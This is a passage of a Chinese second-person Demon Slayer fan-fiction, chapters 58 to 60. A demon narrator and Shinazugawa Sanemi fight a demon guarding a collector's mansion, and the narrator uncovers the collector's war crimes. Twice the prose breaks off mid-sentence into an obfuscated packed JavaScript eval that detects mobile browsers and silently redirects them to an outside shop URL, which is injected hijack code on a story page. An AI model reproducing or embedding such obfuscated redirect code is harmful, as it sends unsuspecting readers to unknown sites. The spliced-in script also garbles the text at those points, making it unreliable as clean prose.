你可以当作筹码的无辜是另一只鬼豢养的结果,罪恶转了一手就不是罪恶了吗?你被鬼杀队需要的价值也同样来源于背后的那只上弦鬼,这真是讽刺。 你的“幸运”本身,就是对他信念的讽刺。 实弥感到自己紧握的拳头骨节正咯咯作响,他不禁回头,透过落地窗,屋里的景象一览无余。你打开电灯坐在桌前,又开始认真的写东西了。 时彦没有察觉他的情绪变化,还在喋喋不休地说:“你看那个家伙,他应该也是个受害者,得到力量,就朝那些更可怜的同类下手。都有异能了,也不敢报复当初迫害他的人,还这么欺软怕硬,多半做人那会儿也不是什么好东西。她就不一样,我跟你说……” “说完了吗?”实弥道,“我这边,你那边,再见。” 你的行动方案陷入了瓶颈,这主要是因为缺乏数据和文献的支持。 你的办法说起来很简单,只是在这个时代执行起来会比较困难,那就是用大数据锁定童磨或者说万世极乐教的位置。 恢复记忆后,变鬼前的惨剧历历在目,你可以复述出里面的每一个细节: “无惨大人要我控制人数在二百五十个以内,可数起来也太麻烦了吧!” “哎,刚刚是第几个了,你没数?没数也没关系的!我们重新开始!” 你打了个寒噤。 这是其中最恐怖的部分,稍加回想,血淋淋的场面就会毫无预警地浮现。但是,必须回想起来,抓住他无意间暴露的信息,完成你的回击。 一定要是致命的一击。 一个封闭的、不为大众所知的宗教小团体,控制着总数超过二百的信徒,人员数量随教主的心情、食量上下浮动,还靠羊毛出在羊身上的非法集资掠夺财富。综合这些条件,它对选址的要求必然很高。 离人群太近很难隐藏自身,太远的话不方便补充损失的信徒;繁华地带容易招来富有的投资人,但口碑发酵会很快;穷乡僻壤没有这个担忧,可二百多人的吃喝拉撒会让运营成本急剧增加…… 再考虑到你是在大城市边缘一个不起眼的小站点附近撞进了他的圈套,童磨在安营扎寨上的选择就有迹可循了。而且,鬼杀队数十年如一日地调查那一起事件,等于是把原址连同附近一大片区域都废掉了。童磨不可能再返回到那里,你能直接排除很多选项了。 剩下只需要在地图上比对各种数值,标注重点范围逐一排查了。但你没有地图,也没有关于日本各地方城市区域、人口规模、交通状况、经济水平的可靠数据,只能凭借研究蓝色彼岸花剩下的模糊印象估计。 这让你很挫败。把能想到的东西都写出来后,你意识到,这只是第一步。更重要的是说服那些视鬼为一生之敌的柱们,坐下来听你讲完,然后用他们找你的手段去把他揪出来。 这是一个只有你和鬼杀队的信任达到相当高的程度后,才有希望落实的计划。被迫等待的时光里,童磨会撕开一个又一个可怜人的胸膛,嘲笑你的无能。 愤怒的火焰在胸腔里跳跃,烧得你日夜难安。 可你依旧毫无办法。 黄昏时他们归来,一个绞尽脑汁说着话,一个抱起手臂一言不发,乌鸦飞来飞去指示下一个任务地点。 你得走了。 58.第 58 章 接下来几天都非常顺利,没有再出现难缠的鬼。不死川实弥一刀一个,砍瓜切菜一样快速通关,再出发到下一个恶鬼出没的地点。 如此丝滑的旅程中,他发脾气的频率却显著提高。你把这当作是他特有的一种交流方式,不问不答,问一句就老实答一句,然后他更生气了。 你猜这是带着你一半时间无法赶路,严重拖累杀鬼效率导致的。他有时低头沉吟,很可能是在默默计算现在启程返回道场,和联系最近的柱接手,到底哪个更浪费时间。 结果是他还带着你。 你于是很识时务地不发出一点噪音、不做一点多余的事,只除了继续写行动方案。方案目前进行到第二阶段:童磨血鬼术的分析。 你抓耳挠腮,半天写不了一个字。 实弥看在眼里,冷笑一声:“有这么难吗?” “难啊,”你随口道,“万事开头难。” 想了一会儿又补充道:“中间也难,结尾更难。” “呵,都这么难,干脆别干了。” “不是,”你丢下笔,薅起头发,“你说这话的语气怎么这么像我妈啊!” 他一副要吃了你的表情,你再也不敢乱说话了。 这就是你们仅有的交流,之后几天中谁也没有再开口说话。 你真的很憋屈。 其实,不光是除掉童磨的方法,这段时间里你还想了很多,是关于那只无线电鬼的。他脏乱的衣着真的很像工作制服,你第一时间就发现了。他生前应该是电报员,转行技术员失败沦落街头后,被无惨变成鬼的。死于压迫的人伥鬼一样攻击着自己的同类,你为这一猜想心情沉重。 正如鬼是变异的人,鬼之恶也是变形后的人之恶。远在他用血鬼术收割人命之前,那座城市里无处不在且昼夜不息的电磁波,已经葬送掉无数条生命了。对于被时代抛弃的人来说,这不是比鬼还要可怕的东西吗? 鬼舞辻无惨正是为如此深不见底的黑暗所掩护,才能存在千年之久吧。他让自己躲在人与人互相倾轧的恶意下,循着绝望、凄惨的味道,找到可被利用的苦命人,壮大鬼的群体。这些人为的灾难散布得越多,他也就藏得越深,难以寻觅。 你很想问一问实弥,在鬼杀队的人执着地相信杀掉更多鬼就能挽救更多幸福时,会不会偶尔停下来想一想,就被这残酷的现实压倒。 你问不出口,他也不会回答,能和你聊的人此刻并不在。时彦的车彻底报废,开不了了。虽然他大喊着“等等我马上去借车”,但你和实弥都没有给他追上来的机会。 你希望他再也不要和鬼扯上关系,永远永远不会面临曾祖那样的险境。 一刀下去,奇形怪状的鬼尖叫着化成一滩灰。 实弥甩去刀上的血迹,转一圈收到入鞘,顺便问爽籁:“下一个呢?” 乌鸦热烈地赞美完主人,才开始播报讯息。 这是一个比较特殊的任务,受害者是主动联系鬼杀队求助的。因为这户人家在风柱的防区内,杀鬼的任务就传达给了爽籁。 “知道了,有钱人嘛。”他啧一声,按指示动身。 鬼杀队是未经政府许可自发行动的民间组织,在大多数普通人那里近似于传说,但世上总有人手眼通天,掌握别人听都没听说过的渠道。他们不是有钱就是有权,抑或两者皆有。 实弥最不耐烦和这种人打交道,但哪儿杀鬼不是杀呢?他一刻不停,奔赴目标地点。 这个招致食人鬼觊觎的家族居住在城郊的一处庄园中。屋主向野先生是远近闻名的收藏家,闹鬼的房子是为了展示他多年来从世界各地搜集来的藏品特意修建的独栋别墅。 欧式的华丽装修,到处嵌着各式各样的陈列用的小格子,和所盛放艺术品的风格相得益彰,展示出主人不俗的品味。当穿衣豪放的不死川实弥踏入这珠光宝气的宫殿时,你分明看到他打理得很整齐的胡须跳了两下。 你暗自庆幸出发前换上了自己的西装,没有遭到冷眼。但也因为这个,你被迫承担起询问细节的责任。 据他说,他们一家平时在别处,这座房子主要是作为个人博物馆和同好交流用的,从未出现出过问题。可就在几个月前,负责打扫的女佣开始各个角落里发现不明的血迹,但她以为是恶作剧就忽略掉了。直到三天前,一位慕名来参观的客人留宿在书房,当晚开膛破肚死在了那里,像被野兽啃食过一样。 说到这里,向野的脸色很难看。他隐晦地指出,这名客人身份不一般,所以他现在很麻烦,希望你们尽快地抓住藏在屋里的鬼,并且绝对不能破坏里面贵重的收藏。 很不对劲。你想。 “这个要求有些强人所难了,”社恐人士鼓起勇气谈条件,“损失很难避免,不如您尽量搬出一些来吧。” “我当然也想这么做啊,”向野一脸晦气道,“但那只鬼好像已经把这里当作自己的地盘了,任何改变陈设的行为都会触怒她。我试过好几次,派来的人都死了。” 你皱起眉。他谈起惨死的客人还有几分情绪,到搬东西的下人就毫无波澜了。所谓血迹不会是哪几个倒霉的女佣吧,因为根本没查过,所以是“不明”的。 你很不舒服,但还是要交涉:“完全不破坏是不可能的,您想……” “可以,”实弥发话了,“我已经明白了,您等消息好了。” 向野先生离开,你立即变脸:“啊啊啊,怎么能答应啊?这根本做不到吧,万一打坏了他让我们赔怎么办?” 看这一屋子金光闪闪,就知道随便哪个你都赔不起。就算鬼杀队工资够高,也经不起一场战斗的折腾吧? “你傻啊,”他说,“管他什么条件,答应下来得了。杀完鬼就走,赔偿不赔偿的,让他吃屁去吧。” “……” 你:“这样不好吧?” 虽然这确实是最可行的办法,但你,不就是,拉不下这个脸吗? 他翻个白眼就走了。 你捂着脸跟上。 “不是说变动陈设就能激怒鬼吗?”实弥提起桌上一只古董花瓶,作势就要砸。 你飞扑过去抢救下来:“别别别,这可是人类文化的瑰宝,我把它拿出去就行了。” 花瓶放到了门外,屋里毫无动静。 接下来,你和实弥先后挪开了桌子、换了沙发的方向、搬空了一层的陈列架,屋里静得一丝风也无。 “他没有说实话。”实弥总结道。 所以他最烦和有钱人打交道了。 这座被各式珍宝、壁毯、挂画、帏幔塞满的高大建筑里,到处有鬼可以容身的死角。你们跑完了好几层,险些失踪在螺旋楼梯还有回廊里。看来光凭你们两个找,是很难找到的。 你说:“我觉得向野‘认识’那只鬼,也知道鬼为什么攻击他。” 他都知道屋里有鬼了,不赶紧逃掉还在这里接见你们,肯定是掌握了和鬼安全相处的距离和方式,再加上舍不得这么多宝贝罢了。 “鬼攻击人不需要理由,鬼天然就是要吃人的。” 你噎住,而后道:“我猜,他并不是不能接受藏品有损坏。这里肯定有一件最贵、最有价值或最有意义的东西,是他真正要弄出来的。但这个东西一碰,鬼就会出来。没准儿那个倒霉的客人就是这么死的。” 实弥停下来:“有道理。” 但这栋楼里何止成百上千的东西,一件一件地试,不知要到猴年马月。 “等着。”他丢下这句话,不到一刻钟就把滋哇乱叫的向野先生拖了进来。 “放肆!”他衣衫歪斜、气急败坏,再不复从容优雅,“我花大价钱请你们来,就是这么办事的?” 实弥冷笑:“你花大价钱不就是想悄没声地把事情解决了吗?乖乖带路,没人管你那些见不得光的东西是从哪儿来的。” 他脸色忽青忽白,又渐渐涨红了。 “行,”他扶稳头上的绅士帽,拄着文明棍上楼,“跟我来。” “莎拉是我年轻时在南洋娶的妻子,我们志同道合,都喜欢搜集古董文玩,立志修建一座博物馆。那真是一段好时光……”他叹着气回忆道,“当时那样的婚姻是遭到歧视的,多少日本男人归国时就抛下了当地的妻儿,但我们不这样。我把她带回来,盖了这座庄园。可是她……越来越古怪,不见人、怕光,我以为她只是病了。” 爬上顶楼,穿过几条走廊,向野停在一扇门前,哆哆嗦嗦地取出钥匙:“这里放的都是当年我们在南洋一起淘来的物件,是最有纪念意义的。现在,最里面那一片是她的禁区,我也说不清她什么时候就冒出来,你们看吧。” 门后,各色的藏品井然有序地排列着。你注意到它们甚至是按年份、样式、颜色分类放置的。 “都是我们亲手布置的,这边是瓷器、这边是造像,首饰放柜子里,挂着的是民族服饰……不、不行,这里就是极限了!”他惊恐地轻呼,“我不能再靠近了,你们快让我走!” 实弥冷冷地打量着向野,这个人在他这里已经失去了信用。 “那你就在这里等吧,我很快就能杀完鬼了。”他拔刀准备进去。 “不行!说好了只是带路,怎么出尔反尔!”他咆哮起来。“鬼杀队是这么做事的吗?你们要我一个普通人去冒险!” “没让你冒险,这个距离很安全……” 砰砰砰!他愤怒地锤墙,唾沫横飞:“我信任鬼杀队才叫你们来,你们呢?比鬼还狠!告诉你们,出了事我让鬼杀队好看!你们一个也逃不掉,等着吧,你们……” 实弥把拔一半的刀推回去。 “我先送你下楼,”他忍耐道,“要是你还说谎,那只能再跑一趟了。” 向野马上缩成了鹌鹑状。 “喂!”他大声喊你,“哪儿呢,快过来。” 你站在衣架前,弯腰仔细观察着那一排衣服的花样纹路。 “能解释一下这是怎么回事吗?”你拉起一片衣角展示给向野,“上面有好多陈年的血迹,你是从死尸上扒下来的吗?衣服的主人是谁,是你杀的吗?” 向野僵住,一个字也吐不出来。 你的发问持续地砸过来:“你为什么到的南洋,贩卖人口吗?这些东西我看不像那边的,应该是更往北的地方。怎么去的,驻军吗?” 他瞠目结舌,愣愣地看着你怒目相向,恨不得他立即就死去! 没错,一想到他曾经把屠刀挥向哪里,你就希望鬼赶紧把他吃了! “对不起,”你对实弥道,“我不会帮这个人。我先走了,你杀完鬼再来下面找我。” “等会儿,”他拽住衣领把你扯回来,“你什么意思?” “我想我说得很清楚了,我不会帮他。”你平静地重申,“我希望鬼、疾病或者其他什么灾难,早日战胜他。” 咔、咔、咔…… 他手指合拢,你的喉管里发出瘆人摩擦声,脆弱的软骨挤压着气管和咽壁,发出悲鸣。 你挣扎起来,他继续用力,手抬高,你的腿开始无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238398|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力地踢蹬。 “总算是说出真心话了,”他发出恐怖的笑声,“忍很久了吧?这一路上其实都在流口水吧?看着一个个人却不能下口的感觉把你逼疯了吗?实话全说出来了啊。” “咳、咳、咳……” 窒息的感觉让你两眼发黑,双手无力地摸上他肌肉贲起的手臂,却动不了分毫。 “我、我……”发声变得格外艰难,气息通过狭窄的出口艰难地组成句子,“我……没想,吃他,看、他,我,就……恶心。” 实弥把你砸进了墙面。 一排肋骨同时折断的痛楚让你闷哼一声。 向野怪叫一声,摸爬滚打逃向楼梯。还看不出你是鬼,他就是个傻子。疯了、疯了,全疯了,他找来的鬼杀队竟然带着一只鬼! “为什么?”不管怎么说,你的喉咙解放了,“我没有想要害谁,袖手旁观,也不行吗?” “你以为你是什么?”他将刀一横压上来,“你有什么立场,在审判什么?” 是的,你是鬼,一切为人应有的东西在他眼里你都不配。 “他是个无耻的小偷、窃贼、刽子手,”你说,“这都还是轻的。他是个战争贩子,亲自下场杀人呢。这里全是罪孽的赃物,血债比里面那只鬼重百倍千倍!” 什么一起建一座博物馆,什么南洋的妻子。那些精美的、珍贵的宝物都是属于莎拉小姐的,他有家庭,还诱骗异国的少女,侵吞了她的财产。莎拉变鬼也执着着自己的东西,没有向野图谋她的财富,都没有可怜的仆人丧命! “人的罪行有人来惩罚,以鬼罪孽有什么资格指手画脚?这种念头想一想就已经违背了鬼杀队宽容的条件!” “这样吗?”你说,“那你弄死我吧。” 我为什么非得得到这个人的认可?你在想。 明明他是和我毫无关系的呀。那么多柱,能说服一个就好了,死磕一个实在不是明智的做法。但现在说这个晚了。 你就是后悔,怎么没在鬼杀队的第一天就把自己知道的全倒出来。那个产屋敷耀哉既然愿意一试,他会听你把话说完。 对了,全怪那个时候你完全沉浸在自己的情绪里,他又长得太像无惨,你说不出口。 “花言巧语。”实弥额头青筋暴起,刀身慢慢逼近。 “为什么,总在愤怒呢?”你又开始呼吸困难,双手颤抖掰不过他强劲的手腕。 “为什么要关心鬼吃人时的感受,你在想着谁?放过他,也放过你自己吧。” 实弥像只暴怒的狮子一样压上来。 他险些忘了,你是一只多么能言善辩,擅长蛊惑人心的鬼。初见的时候,你就是靠着极具迷惑性的言辞混迹在人群中,哄骗人类挡在身前,害他屡屡不能得手。弱得废物一样的鬼,生存之道也就是这个了。在鬼那里,你依赖上弦的喂养,进入鬼杀队也继续欺骗着苟活。 他该结束这个错误了。 “总有理由,总有借口,话说得那么好听,”他用力,你的抵抗节节败退,血涌出来。 “你应该分清楚好鬼和坏鬼,”是那个时彦的声音,“既然有人比鬼坏,那肯定也会有鬼就像好人一样。” 他懂什么,他见过几只鬼?你还有你许下的那些诺言,都太可笑了。 “你有用你的说的这些东西,干成过任何事吗?”他恶狠狠道。 你昏昏沉沉,在死亡将近的走马灯里重温着前世今生所有的挫败。 “你,说得对……” 沉重的眼皮在不可抗力下耷拉着。你看到自己的鲜血淋下来,洇湿厚实的地毯,继续流淌。 “我,确实是,一事无成……” 你的整个童年和少年都奔波在学校和不同的补习班之间,在妈妈无远弗届的鸡娃伟业下毫无喘息的余地。她无微不至地照顾你,只求孩子长成一个开朗外向、落落大方的好学生。可就这一点,你也做不到。 脱离她的掌控后,你总算找到了真正喜欢的事。但学业被突如其来的穿越打断,连一部完整的作品都没有留下。你都要想不起来那篇没写完的论文是学术垃圾,还是遗憾的残章。 被迫重新开始,你是想过和这个陌生的世界达成和解的。你试过做一个开明和善的上位者、一个时髦但也不怎么先锋的新式学生,试着并不反抗什么就只平静过完还过得去的人生。但你自以为是的善举造成他人的苦难,轻率的行为带来父母一生的不幸。 你能做成什么呢? 这样看来,想要在鬼杀队结束悲剧的愿望破灭在最开始的阶段,也是很正常的吧?因为你就是这么没用,重来多少回也一样。 都这么没用了,你也有无论如何放弃不了的东西。你,不能接受岩胜变鬼食人,也就不能接受为杀人犯服务。这种事都能低头的话,你应该还在黑死牟那里。 可是,不甘心。你好不甘心啊。 泪水夺眶而出。 “我也,想,像你,这样得,”指尖从手臂移到他的脸上,“强大……也像,我的妈妈……” 她是那样得优秀、卓越、意志坚强,你从未见过妈妈流露任何的软弱。你学自行车头破血流的时候,吹不会新曲子的时候,考试失败的时候,她永远理所当然地看着你:“这很简单的,有什么做不到。你为什么不像我呢?” 妈妈啊…… 血液从颈动脉一股一股地喷溅出来,弄脏了遮盖藏品的白布。 那里晃动起来。 你睁大眼睛。 鬼,出现了。 59.第 59 章 她愤怒的吼叫塞满顶楼,仍在上扬,直冲上隆起的穹顶。 不,就算是你,也很难称呼这个生物为“她”了。 她变形的程度远远超过那个最难缠的无线电鬼,四肢都拉长到无以复加的程度,你发暗的视野里到处是她挥舞着的胳膊。 她不是躲在哪个死角,而把身躯无限放大、拉扁,整个贴在了露台下面! 炸雷一样怒吼震得地板都开始动,胳膊撞开繁复的花窗,伸过来扔掉染血的布匹,爱惜地摸摸下面的东西,和另一只合抱过来的胳膊将它包围。 她的头也探了进来,陷在暴涨的肉身中,还如正常人大小的头颅看起来格外惊悚。你两眼一黑,不知道是吓得还是缺氧。 实弥一跃而起向她的脑袋冲过去,被激怒的鬼误以为他是来抢夺珍宝,留在窗外的腿狂怒地向上猛踹,木质的地板整个开裂。 你捂住缓慢黏合的脖子,尖叫着掉到下面一层。漂亮的水晶吊灯、墙壁上凸出来的雕塑、错落有致的陶瓷摆件,全都成了攻击的武器,在你下坠的途中碎成一曲幻灭的交响乐,充分演绎出什么叫痛苦的艺术。 你在不同质感的疼痛中龇牙咧嘴,眼睁睁地看着联通两层的旋梯也断裂开。那上面,逃到一半的向野像只滑稽的猴子,死死抱住悬空的木扶手,哭爹喊娘地叫着。 而他求助的对象,实弥,早已灵活地跳到被鬼护着的橱柜上,改变方向再次尝试斩首。仅存一半的顶楼上,一人一鬼的战斗,眼看就要见分晓。 你不敢眨眼,透过天花板砸开的大洞尽力看清每一个细节。从头到尾,他只用了两刀而已。在此之前,你只见识过他出众的剑术,现在,你明白什么叫造物主的偏爱。 牛顿棺材板要摁不住了啊! 向野又叫起来。 “不行、不行!”他叫道,“会把佛像弄坏的,住手啊!” 他奋力抓住手边一切能抓住的东西,断裂的木板、摔碎的瓷瓶……一股脑儿全砸向实弥。 “先把它手砍断,把我的佛像抢过来啊!” 实弥被迫收到,转换身形落地。 你气得锤地,就差一点儿啊。 女鬼咆哮着把东西塞入怀中,一只手护着,腾出一只手在屋里疯狂翻弄,双腿更加有力地蹬地。 咚!咚!咚! 你痛苦地捂住耳朵。 楼梯摇摇欲坠,向野惨叫:“别管它了,救我,先救我!” “五之型·寒秋落山风!” 自上而下的绿色旋风搅碎肆虐的手臂,位于风暴中心的白色身影顺势一跃,挟住不断下滑的向野,跳到安全位置。他们身后,楼梯整个塌陷,发出巨大的轰鸣,扬起的尘土一直飘到最高处。 你咳嗽着跑过去。 实弥把人一丢,踩着未彻底断裂的栏杆重新跳到顶楼。 “别让他妨碍我!” 你一愣,赶紧扬起声音给予回应:“好!” 他不能容忍你漠视谁的生死,但也相信你不会害他。你不知道不死川实弥这个脑回路是怎么形成的,大概是对自己的实力足够自信吧。 总之,你顾不上满头满身的土和灰,心情复杂地朝向野跑过去。想到要照顾这么个人,你还是忍不住要唾弃他、唾弃你自己。但眼不见心不烦是一回事,放任他在你面前惨死就是另外一回事了。后者,好像你也间接地背上了一条人命。 我什么也不做,他敢去扰乱杀鬼就揍他好了,反正也没多久。你这样想着,一边叫着向野的名字一边靠近:“快过来!” 咔嚓—— 足有一人高的花瓶劈头盖脸砸到你的身上。 “别以为我不知道!”向野面目狰狞地指控着,“你是鬼,你也要害我!” 他砸碎了花瓶,还不满意,扯松领带四下寻找着还有什么趁手的武器,未果才悻悻然地离开,冲到一片残骸的楼梯间朝上面颐指气使:“喂!快把我送下去!听到没有?” 你摸着额角,疼痛还没传来伤口已经愈合。那里干干净净,只有你的怒火在下面突突地跳。 “听到没有啊!” 回答他的是可怖的塌陷声。 天花板飞速地向一侧倾斜,上面的桌椅、衣架、镜台还有其他的家具倾倒、移位,发出令人牙酸的刮擦声,然后咣当咣当掉入先前砸出的大洞中。你一路狂奔才避免了埋进里面的命运。 废墟之上,实弥双手持刀下压,半跪着将鬼摁死在五光十色的锦绣堆中,它的四肢已去掉其三,剩下一只臂膀仍死死抱着怀中的佛像。从那露出的半截底座来看,应当是由整块水晶雕刻而成的。这个年代,这个纯净度和大小,的确称得上是稀世的奇珍。 “小心,千万小心啊!”向野急得上蹿下跳,“别磕到了!” 你忍无可忍,跳过满地的狼藉打算摁住他免得再误事。那头,垂死的女鬼发出悲愤的呐喊,被砍掉的左臂疯长出来,却绕过扬刀的实弥,一把将向野横扫出去! “啊啊啊!”他惨叫着飞出,撞破玻璃,半个身子都滑到了窗台外。 “救命、救命、救命!” 实弥拽起地上的鬼将她往外一抛,如狂风席卷的一刀刮到窗边,左手抓向他攀着窗棂的手。 这本该是完美的一击,杀掉鬼也救回向野,但是—— “别碰我的佛像啊!” 他挥舞着脱离险境的手抓住鬼猛地一拉,剑光偏离劈开女鬼的半边身子。狂怒的她一举捣毁铁制窗槅,拖住这个男人共同下坠,实弥也收不住力道,一头栽了下去。 你目瞪口呆地看着一系列变故在几秒内发生,来不及做出任何改变挽救危局。 “喂!”实弥大声喊着你的名字。 他使劲勾住铁艺花窗繁复的纹路不让自己掉下去,一面把向野往上拉。但他的力气都被最下面拖拽着的鬼抵消了。 一尊晶莹剔透的水晶莲座佛像将一人一鬼密不可分地连在一起。实弥几次喊他送手都得不到回应,不得不叫你来帮忙。 “你下去把他拉上来,”他咬牙切齿道,“手给我打折了。” 你:“……” “这可不是我要害人哦。”你提醒他。 “快下去!” 风水轮流转得如此快,你呵呵地笑了好几声。 “你让我去我就去?” 那我岂不是很没有面子?你痛快地想。 “等人救回来,我就听听你那个蠢方案,再考虑要不要汇报给主公。”他道。 “真的?”你眼睛一亮。 “救不救了?” “马上、马上,我这就……”你爬上窗台,慢慢转过身,然后瞳孔紧缩。 淡蓝的天边泛出一层浅浅的白,最多还有几分钟,太阳就要升起来了。 “先等等,就等一下!”你手脚并用滚落下去,到处去找能遮挡的东西。 物理防晒就是最靠谱的防晒。你脱下外套包住脑袋,可晃一晃就滑下来。不行,得试试别的。你到处去翻那些藏品的防尘布,抖掉上面的灰,包裹在没有衣物覆盖的皮肤上,重点护住头脸。 “马上好!再坚持一会儿!”你喊一声,飞快地撕开布料、打结,让它们缠得更紧些,又不会妨碍活动。 实弥长舒一口气,手上再使点劲儿。 风刮过门窗洞开的空旷楼层,将散落出的纸片、碎屑吹得到处都是。 “喂,”他叫着挂在下面的人,“那只鬼是你喂成这个样子的吧。” 血迹是在三个月前出现的,一只领地意识极强轻易并不现身的鬼,不会成长得如此之快。那么唯一可能性就是,他在养这只鬼。用打扫卫生、取东西这种无聊的借口,把人送进去,送到鬼的口中,以此交换想要的藏品。 “你对我们也是同样的做法,说什么‘不能再靠近了’,其实是精准地送到了会激怒鬼的地方。我们打起来你也很高兴吧,根本没有逃走,随时准备着找机会取走佛像,所以才会困在楼梯上。” 实弥冷静地分析着。黎明前的风吹落更多的东西,卡在外墙凸起的浮雕上,斑斑驳驳的一片。那是各式各样的照片,地点不一,但人物只有一个:向野站在堆叠的尸体前大笑着展示挂满胸前的怀表,向野用刺刀挑起一个小小的孩子,向野…… 他想起你说的话,“我看他我就恶心”。 “我真想知道什么地方,专门审判你这种人,”实弥攥紧的手骨节咯咯地响,“等出去了,就把你送那里。” “来了、来了、来了!”你包成木乃伊闪现在窗前,“这就来了,马上好!” 火红的太阳跳出地平线,黑暗一扫而空。 女鬼莎拉发出绝望的怒吼,她用尽最后的力气曲起仅存的前肢,张口咬下了向野紧抓着佛像的手。 他杀猪一样的惨叫里,莎拉扭曲的面庞终于绽开真正笑容。她飞速坠落,未触地就化为灰烬,怀中那尊美丽、珍贵到招致觊觎、灾祸的慈悲佛像碎成千万块,在实弥的眼中,好像是罪孽深重的她变成了一地莹亮的晶体碎屑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244454|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 向野对着光秃秃的喷血的手腕歇斯底里地狂叫,疼痛致使他浑身抽搐起来,剧烈摆动地幅度快让人按不住了。 “喂!”实弥叫道,“如果不想死……” 严重变形的铁窗槅跳出了窗框。 爬了一半的你将将抬起头,陡然撞见着惊悚的一幕,惊得连叫喊都不会了。 这、这、这,是几楼来着? 你想也不想,扑了出去。 实弥松开了拽着向野的手。 “风之呼吸·七之型·劲风·天狗风。” 空中不断翻转的身体卸去重力加速度的影响,你像是丢进了滚筒洗衣机,晕头转向不知天地为何物。飙升的肾上腺素让一切都变慢了,下坠的过程,模糊成马赛克的景象,还有他炸开的蓬乱的白发,因为格外专注而紧绷的脸,都像电影里的特写镜头,放大数倍后高速旋转着撞进脑仁,颠得你想吐。 这时,砸到地上的疼痛反而是一种解脱了。剧烈的震荡瞬间穿透肌肉,沿着脊柱一节一节均匀地传至全身。你晕晕乎乎,等着那股难受劲儿过去,睁开眼睛,还没看清什么,黑暗袭来。 “别看。”实弥的声音从上方传来。 他伸手盖住你唯一裸露在外的眼睛,明亮的太阳正把它金灿灿的光辉洒到每一个角落。 “哦,”你赶紧把身体缩回来一些躲在他的身下,“你还好吗?” “还好,就是这边腿可能伤到了,动不了。” “那就好,七八层楼上掉下来,只伤到腿,很幸运了。” 你觉得你真是傻了,让牛顿死不瞑目的天命之子当然是跳个楼也没事的。没你这一下,说不定伤都没有。 “是四层。” “哎,这不是差不多吗?” 这种老式西洋建筑平均层高三米多,大厅还要更高,四层绝对有七八层居民楼高了。不过,这没必要争。你踌躇着问道:“他呢?” 问完,你就沉默了。身为一只鬼,足以从人类的味道中获得一些基本信息。这个鲜血混脑浆的味儿,他的死状不看也知道了。再怎么希望此人不得好死,此刻也能释然了。 但是…… “你没关系吧?” 这个结果你是无所谓的,但不死川他是一直想要救人的。他是那种把救人当作自己的职责,即使是不好的人也要先救下来再说的人。裁决是别人的事,人的生命每一条都是珍贵的,他是这么认为的。 没能救下向野,他会很难受吗? “他摔死不是活该吗?”不死川道。 呃,你想多了。 “你抖什么?”他突然问。 “啊?我有在抖吗?”你蜷缩起来,“没有啊。” 过了一会儿,他道:“算了。” 什么算了?你摇摇晃匀的脑浆,试着让自己清明一些。 “对了!还有……” 你忽然想到,莎拉是怎么变鬼的?作为一个被诱拐来的外国人,语言不通又被向野囚禁,她应该不会有什么机会外出见人才对。是无惨,无惨来过这里!向野是一个从全世界搜罗奇珍异宝的人,无惨肯定会被他的博物馆吸引,前来探听蓝色彼岸花的消息。多半就是化名的人类身份来的。这是仅仅三个月前的消息,他没准儿还没换身份! 你想把这个推测告诉实弥,情报能多一点儿都是好的。刚想开口,冷汗爬满了脊背。 会死的。 你清晰地感受到了这一点。就像黑死牟身边醒来的时候,你懵懵懂懂把指尖贴在透出天光的窗纸上,无需他说,你便明白再近一点儿就会被烧化。 稍微涉及到鬼舞辻无惨的行踪,你就会死。 “怎么了?”实弥发现了不对劲。 你汗出如浆,呼吸粗重,肌肉应激地紧绷起来,嘴唇张开又闭合,没有发出一点声音。 “怎么了?”他耐心地再次问。 你说不出话,缠满白布的手伸出他身下的荫蔽,艰难地指指身后的楼,再指指一地的水晶碎片。 “莎拉,莎拉……” “我明白了。”他把你的手拢回来,“鬼杀队会查的。” “还有我的方案……”你突然生出一种带着论文草稿去见导师的羞耻感。 不安,非常得不安,就像正宗的樱花妹一样不安。这可怎么办? “回去再说吧。” 爽籁振翅高飞,带着求助的讯息飞跃装饰华丽的西洋风几何屋顶。 “现在等隐过来就够了。” 60.第 60 章 不死川实弥在蝶屋醒来。 香奈惠似乎有意让他好好休息一下,开的药里有助眠的成分,导致他这一觉睡得很长、很沉。很久没有遇到这种情况了,鬼杀队的工作决定了他只能过着昼夜颠倒的生活,当上柱的这一年多更是不分白天黑夜的奔波杀鬼。睡到自然醒好像已经上辈子的事了。 是,确实是上辈子的事。他自嘲地想。 父亲骂骂咧咧摔摔打打,母亲低三下四小声哀求,弟弟妹妹惊吓后的哭闹,这才是不死川家标准的一天开端。这种环境里,没有人能平稳地从睡梦醒来。 蝶屋的清晨也是充满声音的。 香奈惠靠着窗轻轻地咳嗽;那三个总在一起的小女孩麻利地更换床品,替下来的床单在空气中抖一抖;蝴蝶忍领着那个扎双马尾的姑娘清点药品,她们推着一个小小的手推车,木轮滚在地板上发出咕噜咕噜的细响;还有窗外,风吹过林梢,乌鸦们扇动翅膀,香奈乎挥着木剑在钻研呼吸法…… 实弥在众声低沉的合奏中感到久违的宁静,他一动不动地躺了好一会儿,才活动四肢观察伤口愈合的情况。暂时没有人发现他这边的动静,所有人都沉浸在自己的事中。 他也觉得这样很好,不愿意打破,就坐在床上认真地听着。 今天,蝶屋多了一种声音,你发出的。 